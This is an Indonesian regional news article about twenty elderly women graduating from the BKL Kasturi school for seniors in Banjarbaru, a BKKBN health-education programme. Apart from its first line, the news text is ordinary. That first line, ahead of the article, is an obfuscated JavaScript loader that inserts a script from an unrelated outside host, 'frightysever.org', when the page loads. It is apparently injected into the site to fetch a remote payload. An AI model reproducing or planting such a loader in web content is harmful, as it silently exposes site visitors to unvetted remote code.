(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 20 murid sekolah lanjut usia (Lansia) BKL Kasturi Kelurahan Syamsudin Noor, Kecamatan Landasan Ulin, Kota Banjarbaru, melangsungkan prosesi wisuda perdana, Kamis (5/12/2024) siang.
Dua puluh wisudawati ini telah berhasil menyelesaikan belajar selama kurang lebih empat bulan ldi sekolah lansia BKL Kasturi.
Prosesi wisuda berlangsung khidmat, dipimpin oleh Wali Kota Banjarbaru diwakili Asisten I Setda Kota Banjarbaru Abdul Basid bersama jajaran Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pemberdayaan Masyarakat Pengendalian Penduduk dan Keluarga Berencana (DP3APMP2KB) Kota Banjarbaru, dan BKKBN Provinsi Kalsel.
Baca juga: Audiensi ke Bupati Banjar DPC BRNR Sampaikan Dukungan Program Makan Bergizi Gratis
Ketua Tim Kerja Ketahanan Keluarga dan Pencegahan Stunting BKKBN Kalsel, Muhammad Ardhani mengatakan, puluhan wisudawati ini berhasil menyelesaikan pembelajaran dari kurikulum yang diberikan pada jenjang S-1 atau strata satu.
“Harapan kami para wisudawati ini menjadi contoh bagi kabupaten kota lainnya, dari level belajar S-1 bisa lanjut ke S-2 untuk sekolah lansia BKL Kasturi ini,” ujar Muhammad Ardhani.
Ardhian menjelaskan, sekolah lansia ini merupakan program dari BKKBN yang diselenggarakan di seluruh Indonesia dalam rangka meningkatkan derajat kesehatan dan kesejahteraan lansia, khususnya di Kota Banjarbaru.
Baca juga: Optimalkan Penggunaan Mesin Alkon, Desa Layap Gelar Pelatihan
BKL Kasturi menjadi sekolah lansia pertama yang ada di Kota Banjarbaru. Lansia yang belajar diberikan kurikulum materi yang telah disusun bekerjasama dengan yayasan Lansia di Jawa Barat
“Sekolah lansia diselenggarakan di seluruh wilayah Indonesia, termasuk di 13 kabupaten dan kota se Kalsel. Jadi setiap kabupaten kota punya satu sekolah lansia dengan kurikulum dari S-1, S-2, bahkan S-3,” jelas dia.
Sementara itu, Kepala DP3APMP2KB Banjarbaru, Erma Epiyana Hartati mengatakan, utamanya dalam pembelajaran, lansia di BKL Kasturi diberikan materi dari pembimbing di bidang kesehatan.
Baca juga: Kesejahteraan Lansia Fokus Perhatian PD Aisyiyah dan Pemkab HSU
“Seperti dari Puskesmas, ada pemeriksaan darah hingga tensi. Ada terkait penyakit bawaan atau keluhan para Lansia juga dalam pembelajaran ikut disampaikan,” ungkap Erma Epiyana Hartati.
“Jadi bukan hanya duduk belajar a b c d, namun lebih banyak mengedukasi supaya bagaimana mereka dapat tetap sehat di masa Lansia,” tambahnya.
Dirinya berharap akan lebih banyak lagi bermunculan sekolah-sekolah lansia di Kota Banjabaru. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.